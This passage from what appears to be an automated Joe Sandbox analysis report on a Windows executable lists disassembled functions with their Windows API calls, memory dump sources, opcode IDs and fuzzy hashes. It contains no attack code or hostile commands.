                                                                                                                                                  • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                                                                  • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                                                                  • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                                                                  • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Virtual
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4278518827-0
                                                                                                                                                  • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                  • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                                                                  • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                  • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                                                                  Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                                                                                  • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                                                                                  • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CapsDevice$Release
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1035833867-0
                                                                                                                                                  • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                  • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                                                                                  • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                  • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                                                                                  Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                                                                  • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                                                                                  • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                                                                    • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                                                                  • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                                                                  • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3495660284-0
                                                                                                                                                  • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                  • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                                                                  • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                  • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                                                                  Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                                                                  • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                                                                  • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                                                                  • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                                                                  • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 839392675-0
                                                                                                                                                  • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                  • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                                                                  • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                  • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                                                                  Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\UNGSno5k4G.exe,00000004), ref: 00436055
                                                                                                                                                  • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                                                                  • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                                                                  • GetLastError.KERNEL32 ref: 00436081
                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1690418490-0
                                                                                                                                                  • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                  • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                                                                  • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                  • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                                                                  Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                  • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                                                                                  • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                                                                                  • CoUninitialize.OLE32 ref: 00475D71
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                  • String ID: .lnk$HH
                                                                                                                                                  • API String ID: 886957087-3121654589
                                                                                                                                                  • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                  • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                                                                                  • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                  • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                                                                                  Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$Delete$InfoItem_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 1173514356-4108050209
                                                                                                                                                  • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                  • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                                                                  • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                  • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                                                                  Function 004613E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                                                                  • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                                                                  • __itow.LIBCMT ref: 00461461
                                                                                                                                                  • __itow.LIBCMT ref: 004614AB
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$__itow$_wcslen
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 2875217250-2594219639
                                                                                                                                                  • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                  • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                                                                                  • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                  • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                                                                                  Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                                                                    • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,76F92EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                    • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                    • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                  • String ID: nul
                                                                                                                                                  • API String ID: 2124370227-2873401336
                                                                                                                                                  • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                  • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                                                                  • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                  • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                                                                  Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                                                                    • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,76F92EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                    • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                    • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                  • String ID: nul
                                                                                                                                                  • API String ID: 2124370227-2873401336
                                                                                                                                                  • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                  • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                                                                  • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                  • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                                                                  Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                                                                  • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                                                                  • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                                                                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Message$Peek$DispatchTranslate
                                                                                                                                                  • String ID: *.*
                                                                                                                                                  • API String ID: 1795658109-438819550
                                                                                                                                                  • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                  • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                                                                                  • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                  • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                                                                                  Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                    • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                    • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                    • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                    • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                  • GetFocus.USER32 ref: 004609EF
                                                                                                                                                    • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                                                                    • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                                                                  • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                                                                                  • __swprintf.LIBCMT ref: 00460A7A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                                                                                  • String ID: %s%d
                                                                                                                                                  • API String ID: 991886796-1110647743
                                                                                                                                                  • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                  • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                                                                  • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                  • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                                                                  Function 00448C8B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32 ref: 00448CB8
                                                                                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                                                                                  • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                                                                                  • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$LongWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 312131281-2594219639
                                                                                                                                                  • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
